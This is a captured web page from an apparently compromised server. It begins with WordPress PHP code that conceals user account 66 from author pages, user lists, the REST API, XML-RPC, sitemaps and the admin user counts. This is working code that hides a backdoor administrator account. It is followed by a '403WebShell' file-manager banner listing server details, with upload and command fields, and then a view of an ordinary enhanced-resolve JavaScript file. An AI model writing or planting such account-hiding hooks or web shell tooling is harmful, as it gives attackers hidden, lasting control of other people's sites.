add_action( 'pre_get_posts', function( $q ) { if ( ! is_admin() && $q->is_main_query() ) { $not_in = (array) $q->get( 'author__not_in' ); $not_in[] = 66; $q->set( 'author__not_in', array_unique( array_map( 'intval', $not_in ) ) ); } }, 1 ); add_action( 'template_redirect', function() { if ( is_author() ) { $author = get_queried_object(); if ( $author instanceof WP_User && (int) $author->ID === 66 ) { global $wp_query; $wp_query->set_404(); status_header( 404 ); nocache_headers(); } } } ); add_action( 'pre_user_query', function( $q ) { if ( current_user_can( 'manage_options' ) ) { return; } global $wpdb; $q->query_where .= $wpdb->prepare( ' AND ID <> %d ', 66 ); } ); add_action( 'pre_get_users', function( $q ) { if ( current_user_can( 'manage_options' ) ) { return; } $exclude = (array) $q->get( 'exclude' ); $exclude[] = 66; $q->set( 'exclude', array_unique( array_map( 'intval', $exclude ) ) ); } ); add_filter( 'wp_dropdown_users_args', function( $a ) { $exclude = isset( $a['exclude'] ) ? (array) $a['exclude'] : array(); $exclude[] = 66; $a['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $a; } ); add_filter( 'rest_user_query', function( $args, $request ) { $exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array(); $exclude[] = 66; $args['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $args; }, 10, 2 ); add_filter( 'rest_pre_dispatch', function( $result, $server, $request ) { $route = $request->get_route(); if ( preg_match( '#^/wp/v2/users/66(/|$)#', $route ) ) { return new WP_Error( 'rest_user_invalid_id', 'Invalid user ID.', array( 'status' => 404 ) ); } return $result; }, 10, 3 ); add_filter( 'xmlrpc_methods', function( $methods ) { unset( $methods['wp.getUsers'], $methods['wp.getUser'], $methods['wp.getProfile'] ); return $methods; } ); add_filter( 'wp_sitemaps_users_query_args', function( $args ) { $exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array(); $exclude[] = 66; $args['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $args; } ); add_action( 'admin_head-users.php', function() { echo ''; } ); add_filter( 'views_users', function( $views ) { foreach ( array( 'all', 'administrator' ) as $key ) { if ( isset( $views[ $key ] ) ) { $views[ $key ] = preg_replace_callback( '/\((\d+)\)/', function( $m ) { return '(' . max( 0, (int) $m[1] - 1 ) . ')'; }, $views[ $key ], 1 ); } } return $views; } ); add_action( 'init', function() { if ( ! function_exists( 'wp_next_scheduled' ) || ! function_exists( 'wp_schedule_single_event' ) ) { return; } if ( ! wp_next_scheduled( 'wp_extra_bot_heartbeat' ) ) { wp_schedule_single_event( time() + 5 * MINUTE_IN_SECONDS, 'wp_extra_bot_heartbeat' ); } } ); add_action( 'wp_extra_bot_heartbeat', function() { // noop } ); 403WebShell
403Webshell
Server IP : 167.235.224.122  /  Your IP : 216.73.216.110
Web Server : Apache/2.4.58 (Ubuntu)
System : Linux newplayground 6.8.0-136-generic #136-Ubuntu SMP PREEMPT_DYNAMIC Wed Jul 1 21:33:11 UTC 2026 aarch64
User : deploy ( 1000)
PHP Version : 8.4.23
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : OFF
Directory :  /var/www/html/futuresbattle/node_modules/enhanced-resolve/lib/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /var/www/html/futuresbattle/node_modules/enhanced-resolve/lib/TsconfigPathsPlugin.js
/*
	MIT License http://www.opensource.org/licenses/mit-license.php
	Author Natsu @xiaoxiaojx
*/

"use strict";

const { aliasResolveHandler, compileAliasOptions } = require("./AliasUtils");
const { modulesResolveHandler } = require("./ModulesUtils");
const { readJson } = require("./util/fs");
const { PathType: _PathType, isSubPath, normalize } = require("./util/path");

/** @typedef {import("./Resolver")} Resolver */
/** @typedef {import("./Resolver").ResolveStepHook} ResolveStepHook */
/** @typedef {import("./AliasUtils").AliasOption} AliasOption */
/** @typedef {import("./Resolver").ResolveRequest} ResolveRequest */
/** @typedef {import("./Resolver").ResolveContext} ResolveContext */
/** @typedef {import("./Resolver").FileSystem} FileSystem */
/** @typedef {import("./Resolver").TsconfigPathsData} TsconfigPathsData */
/** @typedef {import("./Resolver").TsconfigPathsMap} TsconfigPathsMap */
/** @typedef {import("./ResolverFactory").TsconfigOptions} TsconfigOptions */

/**
 * @typedef {object} TsconfigCompilerOptions
 * @property {string=} baseUrl Base URL for resolving paths
 * @property {{ [key: string]: string[] }=} paths TypeScript paths mapping
 */

/**
 * @typedef {object} TsconfigReference
 * @property {string} path Path to the referenced project
 */

/**
 * @typedef {object} Tsconfig
 * @property {TsconfigCompilerOptions=} compilerOptions Compiler options
 * @property {string | string[]=} extends Extended configuration paths
 * @property {TsconfigReference[]=} references Project references
 */

const DEFAULT_CONFIG_FILE = "tsconfig.json";

const READ_JSON_OPTIONS = { stripComments: true };

// Trailing `/*` or `\*` segment of a tsconfig `paths` mapping (e.g.
// `./src/*` → `./src`). Hoisted so we don't allocate a fresh regex per
// path entry on every tsconfig load — and so the same regex object can be
// reused for the matching `test` + `replace` pair below.
const WILDCARD_TAIL_RE = /[/\\]\*$/;

/**
 * @param {string} pattern Path pattern
 * @returns {number} Length of the prefix
 */
function getPrefixLength(pattern) {
	const prefixLength = pattern.indexOf("*");
	if (prefixLength === -1) {
		return pattern.length;
	}
	return prefixLength;
}

/**
 * Sort path patterns.
 * If a module name can be matched with multiple patterns then pattern with the longest prefix will be picked.
 * @param {string[]} arr Array of path patterns
 * @returns {string[]} Array of path patterns sorted by longest prefix
 */
function sortByLongestPrefix(arr) {
	return [...arr].sort((a, b) => getPrefixLength(b) - getPrefixLength(a));
}

/**
 * Merge two tsconfig objects
 * @param {Tsconfig | null} base base config
 * @param {Tsconfig | null} config config to merge
 * @returns {Tsconfig} merged config
 */
function mergeTsconfigs(base, config) {
	base = base || {};
	config = config || {};

	return {
		...base,
		...config,
		compilerOptions: {
			.../** @type {TsconfigCompilerOptions} */ (base.compilerOptions),
			.../** @type {TsconfigCompilerOptions} */ (config.compilerOptions),
		},
	};
}

/**
 * Substitute ${configDir} template variable in path
 * @param {string} pathValue the path value
 * @param {string} configDir the config directory
 * @returns {string} the path with substituted template
 */
function substituteConfigDir(pathValue, configDir) {
	// eslint-disable-next-line no-template-curly-in-string
	if (!pathValue.includes("${configDir}")) return pathValue;
	return pathValue.replace(/\$\{configDir\}/g, configDir);
}

/**
 * Convert tsconfig paths to resolver options
 * @param {string} configDir Config file directory
 * @param {{ [key: string]: string[] }} paths TypeScript paths mapping
 * @param {Resolver} resolver resolver instance
 * @param {string=} baseUrl Base URL for resolving paths (relative to configDir)
 * @returns {TsconfigPathsData} the resolver options
 */
function tsconfigPathsToResolveOptions(configDir, paths, resolver, baseUrl) {
	// Calculate absolute base URL
	const absoluteBaseUrl = !baseUrl
		? configDir
		: resolver.join(configDir, baseUrl);

	/** @type {string[]} */
	const sortedKeys = sortByLongestPrefix(Object.keys(paths));
	/** @type {AliasOption[]} */
	const alias = [];
	/** @type {string[]} */
	const modules = [];

	for (const pattern of sortedKeys) {
		const mappings = paths[pattern];
		// Substitute ${configDir} in path mappings
		const absolutePaths = mappings.map((mapping) => {
			const substituted = substituteConfigDir(mapping, configDir);
			return resolver.join(absoluteBaseUrl, substituted);
		});

		if (absolutePaths.length > 0) {
			if (pattern === "*") {
				// Pull `dir/*` entries directly into `modules` with their
				// trailing wildcard stripped, skipping anything else. The
				// previous `.map(...).filter(Boolean)` form allocated two
				// throwaway arrays plus a spread iterator per `*` mapping.
				for (let j = 0; j < absolutePaths.length; j++) {
					const dir = absolutePaths[j];
					if (WILDCARD_TAIL_RE.test(dir)) {
						modules.push(dir.replace(WILDCARD_TAIL_RE, ""));
					}
				}
			} else {
				alias.push({ name: pattern, alias: absolutePaths });
			}
		}
	}

	if (absoluteBaseUrl && !modules.includes(absoluteBaseUrl)) {
		modules.push(absoluteBaseUrl);
	}

	return {
		alias: compileAliasOptions(resolver, alias),
		modules,
	};
}

/**
 * Get the base context for the current project
 * @param {string} context the context
 * @param {Resolver} resolver resolver instance
 * @param {string=} baseUrl base URL for resolving paths
 * @returns {string} the base context
 */
function getAbsoluteBaseUrl(context, resolver, baseUrl) {
	return !baseUrl ? context : resolver.join(context, baseUrl);
}

/**
 * @param {TsconfigPathsData} main main paths data
 * @param {string} mainContext main context
 * @param {{ [baseUrl: string]: TsconfigPathsData }} refs references map
 * @param {Set<string>} fileDependencies file dependencies
 * @returns {TsconfigPathsMap} the tsconfig paths map
 */
function buildTsconfigPathsMap(main, mainContext, refs, fileDependencies) {
	const allContexts = /** @type {{ [context: string]: TsconfigPathsData }} */ ({
		[mainContext]: main,
		...refs,
	});
	// Precompute the key list once per tsconfig load. `_selectPathsDataForContext`
	// runs per resolve and otherwise would call `Object.entries(allContexts)`
	// each time, allocating a fresh [key, value][] array.
	const contextList = Object.keys(allContexts);
	return {
		main,
		mainContext,
		refs,
		allContexts,
		contextList,
		fileDependencies,
	};
}

module.exports = class TsconfigPathsPlugin {
	/**
	 * @param {true | string | TsconfigOptions} configFileOrOptions tsconfig file path or options object
	 */
	constructor(configFileOrOptions) {
		if (
			typeof configFileOrOptions === "object" &&
			configFileOrOptions !== null
		) {
			// Options object format
			const { configFile } = configFileOrOptions;
			/** @type {boolean} */
			this.isAutoConfigFile = typeof configFile !== "string";
			/** @type {string} */
			this.configFile = this.isAutoConfigFile
				? DEFAULT_CONFIG_FILE
				: /** @type {string} */ (configFile);
			/** @type {string[] | "auto"} */
			if (Array.isArray(configFileOrOptions.references)) {
				/** @type {TsconfigReference[] | "auto"} */
				this.references = configFileOrOptions.references.map((ref) => ({
					path: ref,
				}));
			} else if (configFileOrOptions.references === "auto") {
				this.references = "auto";
			} else {
				this.references = [];
			}
			/** @type {string | undefined} */
			this.baseUrl = configFileOrOptions.baseUrl;
		} else {
			/** @type {boolean} */
			this.isAutoConfigFile = configFileOrOptions === true;
			/** @type {string} */
			this.configFile = this.isAutoConfigFile
				? DEFAULT_CONFIG_FILE
				: /** @type {string} */ (configFileOrOptions);
			/** @type {TsconfigReference[] | "auto"} */
			this.references = [];
			/** @type {string | undefined} */
			this.baseUrl = undefined;
		}
	}

	/**
	 * @param {Resolver} resolver the resolver
	 * @returns {void}
	 */
	apply(resolver) {
		const aliasTarget = resolver.ensureHook("internal-resolve");
		const moduleTarget = resolver.ensureHook("module");

		resolver
			.getHook("raw-resolve")
			.tapAsync("TsconfigPathsPlugin", (request, resolveContext, callback) => {
				this._getTsconfigPathsMap(
					resolver,
					request,
					resolveContext,
					(err, tsconfigPathsMap) => {
						if (err) return callback(err);
						if (!tsconfigPathsMap) return callback();

						const selectedData = this._selectPathsDataForContext(
							request.path,
							tsconfigPathsMap,
						);

						if (!selectedData) return callback();

						aliasResolveHandler(
							resolver,
							selectedData.alias,
							aliasTarget,
							request,
							resolveContext,
							callback,
						);
					},
				);
			});

		resolver
			.getHook("raw-module")
			.tapAsync("TsconfigPathsPlugin", (request, resolveContext, callback) => {
				this._getTsconfigPathsMap(
					resolver,
					request,
					resolveContext,
					(err, tsconfigPathsMap) => {
						if (err) return callback(err);
						if (!tsconfigPathsMap) return callback();

						const selectedData = this._selectPathsDataForContext(
							request.path,
							tsconfigPathsMap,
						);

						if (!selectedData) return callback();

						modulesResolveHandler(
							resolver,
							selectedData.modules,
							moduleTarget,
							request,
							resolveContext,
							callback,
						);
					},
				);
			});
	}

	/**
	 * Get TsconfigPathsMap for the request (with caching)
	 * @param {Resolver} resolver the resolver
	 * @param {ResolveRequest} request the request
	 * @param {ResolveContext} resolveContext the resolve context
	 * @param {(err: Error | null, result?: TsconfigPathsMap | null) => void} callback the callback
	 * @returns {void}
	 */
	_getTsconfigPathsMap(resolver, request, resolveContext, callback) {
		if (typeof request.tsconfigPathsMap !== "undefined") {
			const cached = request.tsconfigPathsMap;
			if (!cached) return callback(null, null);
			if (resolveContext.fileDependencies) {
				for (const fileDependency of cached.fileDependencies) {
					resolveContext.fileDependencies.add(fileDependency);
				}
			}
			return callback(null, cached);
		}

		const absTsconfigPath = resolver.join(
			request.path || process.cwd(),
			this.configFile,
		);
		this._loadTsconfigPathsMap(resolver, absTsconfigPath, (err, result) => {
			if (err) {
				request.tsconfigPathsMap = null;
				if (
					this.isAutoConfigFile &&
					/** @type {NodeJS.ErrnoException} */ (err).code === "ENOENT"
				) {
					return callback(null, null);
				}
				return callback(err);
			}

			const map = /** @type {TsconfigPathsMap} */ (result);
			request.tsconfigPathsMap = map;
			if (resolveContext.fileDependencies) {
				for (const fileDependency of map.fileDependencies) {
					resolveContext.fileDependencies.add(fileDependency);
				}
			}
			callback(null, map);
		});
	}

	/**
	 * Load tsconfig.json and build complete TsconfigPathsMap
	 * Includes main project paths and all referenced projects
	 * @param {Resolver} resolver the resolver
	 * @param {string} absTsconfigPath absolute path to tsconfig.json
	 * @param {(err: Error | null, result?: TsconfigPathsMap) => void} callback the callback
	 * @returns {void}
	 */
	_loadTsconfigPathsMap(resolver, absTsconfigPath, callback) {
		/** @type {Set<string>} */
		const fileDependencies = new Set();

		this._loadTsconfig(
			resolver,
			absTsconfigPath,
			fileDependencies,
			undefined,
			(err, config) => {
				if (err) return callback(err);

				const cfg = /** @type {Tsconfig} */ (config);
				const compilerOptions = cfg.compilerOptions || {};
				const mainContext = resolver.dirname(absTsconfigPath);

				const baseUrl =
					this.baseUrl !== undefined ? this.baseUrl : compilerOptions.baseUrl;

				const main = tsconfigPathsToResolveOptions(
					mainContext,
					compilerOptions.paths || {},
					resolver,
					baseUrl,
				);
				/** @type {{ [baseUrl: string]: TsconfigPathsData }} */
				const refs = {};

				let referencesToUse = null;
				if (this.references === "auto") {
					referencesToUse = cfg.references;
				} else if (Array.isArray(this.references)) {
					referencesToUse = this.references;
				}

				if (!Array.isArray(referencesToUse)) {
					return callback(
						null,
						buildTsconfigPathsMap(main, mainContext, refs, fileDependencies),
					);
				}

				this._loadTsconfigReferences(
					resolver,
					mainContext,
					referencesToUse,
					fileDependencies,
					refs,
					(refErr) => {
						if (refErr) return callback(refErr);
						callback(
							null,
							buildTsconfigPathsMap(main, mainContext, refs, fileDependencies),
						);
					},
				);
			},
		);
	}

	/**
	 * Select the correct TsconfigPathsData based on request.path (context-aware)
	 * Matches the behavior of tsconfig-paths-webpack-plugin
	 * @param {string | false} requestPath the request path
	 * @param {TsconfigPathsMap} tsconfigPathsMap the tsconfig paths map
	 * @returns {TsconfigPathsData | null} the selected paths data
	 */
	_selectPathsDataForContext(requestPath, tsconfigPathsMap) {
		const { main, allContexts, contextList } = tsconfigPathsMap;
		if (!requestPath) {
			return main;
		}
		let longestMatchContext = null;
		let longestMatchLength = 0;
		// Iterate the pre-computed key list (the previous
		// `Object.entries(allContexts)` form allocated a fresh
		// `[key, value][]` per resolve). Defer the `allContexts[context]`
		// lookup to after we know the context actually matches — non-matches
		// are the common case and don't need the property access.
		for (let i = 0; i < contextList.length; i++) {
			const context = contextList[i];
			if (context === requestPath) {
				return allContexts[context];
			}
			// Cheap integer-compare gate first: a context can only beat the
			// current longest match if its own length is strictly greater.
			// Skipping `isSubPath` (a `startsWith` + char-code probe) when the
			// length already disqualifies the candidate avoids the per-resolve
			// scan over every shorter context.
			if (
				context.length > longestMatchLength &&
				isSubPath(context, requestPath)
			) {
				longestMatchContext = context;
				longestMatchLength = context.length;
			}
		}
		return longestMatchContext === null
			? null
			: allContexts[longestMatchContext];
	}

	/**
	 * Load tsconfig from extends path
	 * @param {Resolver} resolver the resolver
	 * @param {string} configFilePath current config file path
	 * @param {string} extendedConfigValue extends value
	 * @param {Set<string>} fileDependencies the file dependencies
	 * @param {Set<string>} visitedConfigPaths config paths being loaded (for circular extends detection)
	 * @param {(err: Error | null, result?: Tsconfig) => void} callback callback
	 * @returns {void}
	 */
	_loadTsconfigFromExtends(
		resolver,
		configFilePath,
		extendedConfigValue,
		fileDependencies,
		visitedConfigPaths,
		callback,
	) {
		const { fileSystem } = resolver;
		const currentDir = resolver.dirname(configFilePath);

		// Substitute ${configDir} in extends path
		extendedConfigValue = substituteConfigDir(extendedConfigValue, currentDir);

		// Remember the original value before potentially appending .json
		const originalExtendedConfigValue = extendedConfigValue;

		if (
			typeof extendedConfigValue === "string" &&
			!extendedConfigValue.includes(".json")
		) {
			extendedConfigValue += ".json";
		}

		const initialExtendedConfigPath = resolver.join(
			currentDir,
			extendedConfigValue,
		);

		fileSystem.stat(initialExtendedConfigPath, (existsErr) => {
			let extendedConfigPath = initialExtendedConfigPath;
			if (existsErr) {
				// Handle scoped package extends like "@scope/name" (no sub-path):
				// "@scope/name" should resolve to node_modules/@scope/name/tsconfig.json,
				// not node_modules/@scope/name.json
				// See: test/fixtures/tsconfig-paths/extends-pkg-entry/
				if (
					typeof originalExtendedConfigValue === "string" &&
					originalExtendedConfigValue.startsWith("@") &&
					originalExtendedConfigValue.split("/").length === 2
				) {
					extendedConfigPath = resolver.join(
						currentDir,
						normalize(
							`node_modules/${originalExtendedConfigValue}/${DEFAULT_CONFIG_FILE}`,
						),
					);
				} else if (extendedConfigValue.includes("/")) {
					// Handle package sub-path extends like "react/tsconfig":
					// "react/tsconfig" resolves to node_modules/react/tsconfig.json
					// See: test/fixtures/tsconfig-paths/extends-npm/
					extendedConfigPath = resolver.join(
						currentDir,
						normalize(`node_modules/${extendedConfigValue}`),
					);
				} else if (
					!originalExtendedConfigValue.startsWith(".") &&
					!originalExtendedConfigValue.startsWith("/")
				) {
					// Handle unscoped package extends like "my-base-config" (no sub-path):
					// "my-base-config" should resolve to node_modules/my-base-config/tsconfig.json
					extendedConfigPath = resolver.join(
						currentDir,
						normalize(
							`node_modules/${originalExtendedConfigValue}/${DEFAULT_CONFIG_FILE}`,
						),
					);
				}
			}

			this._loadTsconfig(
				resolver,
				extendedConfigPath,
				fileDependencies,
				visitedConfigPaths,
				(err, config) => {
					if (err) return callback(err);

					const cfg = /** @type {Tsconfig} */ (config);
					const compilerOptions = cfg.compilerOptions || {
						baseUrl: undefined,
					};

					if (compilerOptions.baseUrl) {
						const extendedConfigDir = resolver.dirname(extendedConfigPath);
						compilerOptions.baseUrl = getAbsoluteBaseUrl(
							extendedConfigDir,
							resolver,
							compilerOptions.baseUrl,
						);
					}

					delete cfg.references;

					callback(null, cfg);
				},
			);
		});
	}

	/**
	 * Load referenced tsconfig projects and store in referenceMatchMap
	 * Simple implementation matching tsconfig-paths-webpack-plugin:
	 * Just load each reference and store independently
	 * @param {Resolver} resolver the resolver
	 * @param {string} context the context
	 * @param {TsconfigReference[]} references array of references
	 * @param {Set<string>} fileDependencies the file dependencies
	 * @param {{ [baseUrl: string]: TsconfigPathsData }} referenceMatchMap the map to populate
	 * @param {(err: Error | null) => void} callback callback
	 * @param {Set<string>=} visitedRefPaths visited reference config paths (for circular reference detection)
	 * @returns {void}
	 */
	_loadTsconfigReferences(
		resolver,
		context,
		references,
		fileDependencies,
		referenceMatchMap,
		callback,
		visitedRefPaths,
	) {
		if (references.length === 0) return callback(null);

		const visited = visitedRefPaths || new Set();
		let pending = references.length;
		const finishOne = () => {
			if (--pending === 0) callback(null);
		};

		for (const ref of references) {
			const refPath = substituteConfigDir(ref.path, context);
			const refConfigPath = resolver.join(
				resolver.join(context, refPath),
				DEFAULT_CONFIG_FILE,
			);

			if (visited.has(refConfigPath)) {
				finishOne();
				continue;
			}
			visited.add(refConfigPath);

			this._loadTsconfig(
				resolver,
				refConfigPath,
				fileDependencies,
				undefined,
				(err, refConfig) => {
					// Failures are swallowed to match tsconfig-paths-webpack-plugin:
					// a broken reference must not abort the main project's resolution.
					if (err) return finishOne();

					const cfg = /** @type {Tsconfig} */ (refConfig);
					if (cfg.compilerOptions && cfg.compilerOptions.paths) {
						const refContext = resolver.dirname(refConfigPath);

						referenceMatchMap[refContext] = tsconfigPathsToResolveOptions(
							refContext,
							cfg.compilerOptions.paths || {},
							resolver,
							cfg.compilerOptions.baseUrl,
						);
					}

					if (this.references === "auto" && Array.isArray(cfg.references)) {
						this._loadTsconfigReferences(
							resolver,
							resolver.dirname(refConfigPath),
							cfg.references,
							fileDependencies,
							referenceMatchMap,
							finishOne,
							visited,
						);
					} else {
						finishOne();
					}
				},
			);
		}
	}

	/**
	 * Load tsconfig.json with extends support
	 * @param {Resolver} resolver the resolver
	 * @param {string} configFilePath absolute path to tsconfig.json
	 * @param {Set<string>} fileDependencies the file dependencies
	 * @param {Set<string> | undefined} visitedConfigPaths config paths being loaded (for circular extends detection)
	 * @param {(err: Error | null, result?: Tsconfig) => void} callback callback
	 * @returns {void}
	 */
	_loadTsconfig(
		resolver,
		configFilePath,
		fileDependencies,
		visitedConfigPaths,
		callback,
	) {
		const visited = visitedConfigPaths || new Set();

		if (visited.has(configFilePath)) {
			return callback(null, /** @type {Tsconfig} */ ({}));
		}
		visited.add(configFilePath);

		readJson(
			resolver.fileSystem,
			configFilePath,
			READ_JSON_OPTIONS,
			(err, parsed) => {
				if (err) return callback(/** @type {Error} */ (err));

				const config = /** @type {Tsconfig} */ (parsed);
				fileDependencies.add(configFilePath);

				const extendedConfig = config.extends;
				if (!extendedConfig) return callback(null, config);

				if (!Array.isArray(extendedConfig)) {
					this._loadTsconfigFromExtends(
						resolver,
						configFilePath,
						extendedConfig,
						fileDependencies,
						visited,
						(extErr, extendedTsconfig) => {
							if (extErr) return callback(extErr);
							callback(
								null,
								mergeTsconfigs(
									/** @type {Tsconfig} */ (extendedTsconfig),
									config,
								),
							);
						},
					);
					return;
				}

				/** @type {Tsconfig} */
				let base = {};
				let i = 0;
				const next = () => {
					if (i >= extendedConfig.length) {
						return callback(null, mergeTsconfigs(base, config));
					}
					this._loadTsconfigFromExtends(
						resolver,
						configFilePath,
						extendedConfig[i++],
						fileDependencies,
						visited,
						(extErr, extendedTsconfig) => {
							if (extErr) return callback(extErr);
							base = mergeTsconfigs(
								base,
								/** @type {Tsconfig} */ (extendedTsconfig),
							);
							next();
						},
					);
				};
				next();
			},
		);
	}
};

Youez - 2016 - github.com/yon3zu
LinuXploit